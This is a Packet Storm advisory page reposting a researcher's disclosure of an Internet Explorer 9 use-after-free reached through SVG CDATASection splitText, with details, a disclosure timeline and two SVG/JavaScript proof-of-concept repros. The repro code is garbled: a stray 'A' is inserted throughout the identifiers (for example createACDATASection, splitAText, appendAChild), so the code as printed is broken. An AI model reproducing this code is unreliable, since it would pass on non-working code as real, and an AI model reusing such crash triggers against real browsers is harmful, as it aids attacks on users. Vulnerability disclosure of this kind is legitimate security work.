what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Internet Explorer 9 IEFRAME CMarkupPointer::MoveToGap Use-After-Free

Microsoft Internet Explorer 9 IEFRAME CMarkupPointer::MoveToGap Use-After-Free
Posted Dec 15, 2016
Authored by SkyLined

Microsoft Internet Explorer 9 suffers from an IEFRAME CMarkupPointer::MoveToGap use-after-free vulnerability.

tags | exploit
SHA-256 | f949ec22b0e789c30417cfd64057af1e6fd219810c56f6b85cbf6a2d22bdb59f

Microsoft Internet Explorer 9 IEFRAME CMarkupPointer::MoveToGap Use-After-Free

Change Mirror Download
Since November I have been releasing details on all vulnerabilities I
found that I have not released before. This is the 33rd entry in the
series. This information is available in more detail on my blog at
http://blog.skylined.nl/20161215001.html. There you can find a repro
that triggered this issue in addition to the information below.

If you find these releases useful, and would like to help me make time
to continue releasing this kind of information, you can make a donation
in bitcoin to 183yyxa9s1s1f7JBpAPHPmzAQ346y91Rx5DX.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

MSIE 9 IEFRAME CMarkupPointer::MoveToGap use-after-free
=======================================================
(The fix and CVE number for this issue are not known)

Synopsis
--------
A specially crafted web-page can trigger a use-after-free vulnerability
in Microsoft Internet Explorer 9. The use appears to happen only once
almost immediately after the free, which makes practical exploitation
unlikely.

Known affected software and attack vectors
------------------------------------------
* Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially
crafted web-page. Disabling JavaScript should prevent an attacker
from triggering the vulnerable code path.

Details
-------
It appears there is an implementation bug in the `splitText` method of
`CDATASection` (Text) objects in SVG. `splitText` should split a `Text`
node into two `Text` nodes, by creating a new `Text` node and moving
some of the text data from the original node to the new node. After
this, each node contains a sub-string of the original text.

The bug can be triggered by calling this method with zero as the index
argument on a `CDATASection` which contains some text. In this case, the
code will return a new `Text` node that contains the entire text but it
does not remove the text from the original node. I am speculating that
this causes an additional reference to the test data without increasing
its reference counter. This failure to increase the reference counter
can cause this reference counter to drop to zero before all references
are destroyed.

I believe this is the case because the below repro triggers a use-after-free.

<svg xmlns='http://www.w3.org/2000/svg'>
<script type="text/javascript">
var oACDATASection = document.createACDATASection("Aa");
oATextANode1 = oACDATASection.splitAText(0);
alert("Expected ''+'Aa', got '" + oACDATASection.wholeAText + "'+'" + oATextANode1.wholeAText + "'");
oACDATASection.appendAData("Bb");
alert("Expected 'Bb'+'Aa', got '" + oACDATASection.wholeAText + "'+'" + oATextANode1.wholeAText + "'");
oATextANode3 = oACDATASection.splitAText(0);
// Uncommenting the following line prevents the crash - not sure why.
// alert("Expected ''+'Bb'+'Aa', got '" + oACDATASection.wholeAText + "'+'" + oATextANode3.wholeAText + "'+'" + oATextANode1.wholeAText + "'");
oATextANode3.replaceAWholeAText("Cc");
</script>
</svg>

I've created another, more complex repro as well:

Repro.svg

<svg xmlns='http://www.w3.org/2000/svg'>
<script type="text/javascript">
function B(bAValue) { return bAValue ? "T" : "F" };
var oAElement = document.createAElement("x");
var oACDATASection = document.createACDATASection("AB");
oAElement.appendAChild(oACDATASection);
// splitAText should split a Text node into two text Nodes, each containing a substring of the data of the original Text node.
// However, MSIE does not implement this correctly, causing both Text nodes to refer to the same data.
oATextANode1 = oACDATASection.splitAText(0);
alert("[AB**|AB**AB=AB]\r\n[" +
oAElement.textAContent + "**" +
oACDATASection.nodeAValue + "|" + oATextANode1.nodeAValue + "**" +
oACDATASection.wholeAText + "=" + oATextANode1.wholeAText + "]");
oACDATASection.appendAData("CD");
alert("[CDAB**CD|AB**CDAB=CDAB]TT\r\n[" +
oAElement.textAContent + "**" +
oACDATASection.nodeAValue + "|" + oATextANode1.nodeAValue + "**" +
oACDATASection.wholeAText + "=" + oATextANode1.wholeAText + "]" +
B(oACDATASection.parentANode === oAElement) + B(oATextANode1.parentANode === oAElement)
);
var oATextANode2 = oACDATASection.splitAText(0);
alert("[CDAB**|CD|AB**CDAB=CDAB=CDAB]TTT\r\n[" +
oAElement.textAContent + "**" +
oACDATASection.nodeAValue + "|" + oATextANode2.nodeAValue + "|" + oATextANode1.nodeAValue + "**" +
oACDATASection.wholeAText + "=" + oATextANode2.wholeAText + "=" + oATextANode1.wholeAText + "]" +
B(oACDATASection.parentANode === oAElement) + B(oATextANode2.parentANode === oAElement) + B(oATextANode1.parentANode === oAElement)
);
var oATextANode3 = oACDATASection.replaceAWholeAText("EF");
alert("[EF**EF||**EF=EF=EF]TFF\r\n[" +
oAElement.textAContent + "**" +
oACDATASection.nodeAValue + "|" + oATextANode2.nodeAValue + "|" + oATextANode1.nodeAValue + "**" +
oACDATASection.wholeAText + "=" + oATextANode2.wholeAText + "=" + oATextANode1.wholeAText + "]" +
oACDATASection.parentANode + "/" + oATextANode2.parentANode + "/" + oATextANode1.parentANode
);
</script>
</svg>




Time-line
---------
* Unknown date: This vulnerability was found through fuzzing.
* 12 December 2012: This vulnerability was submitted to EIP.
* 21 January 2013: This vulnerability was rejected by EIP.
* Unknown date: This vulnerability was address by Microsoft.
* 15 December 2016: Details of this vulnerability are released.

Cheers,

SkyLined



Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close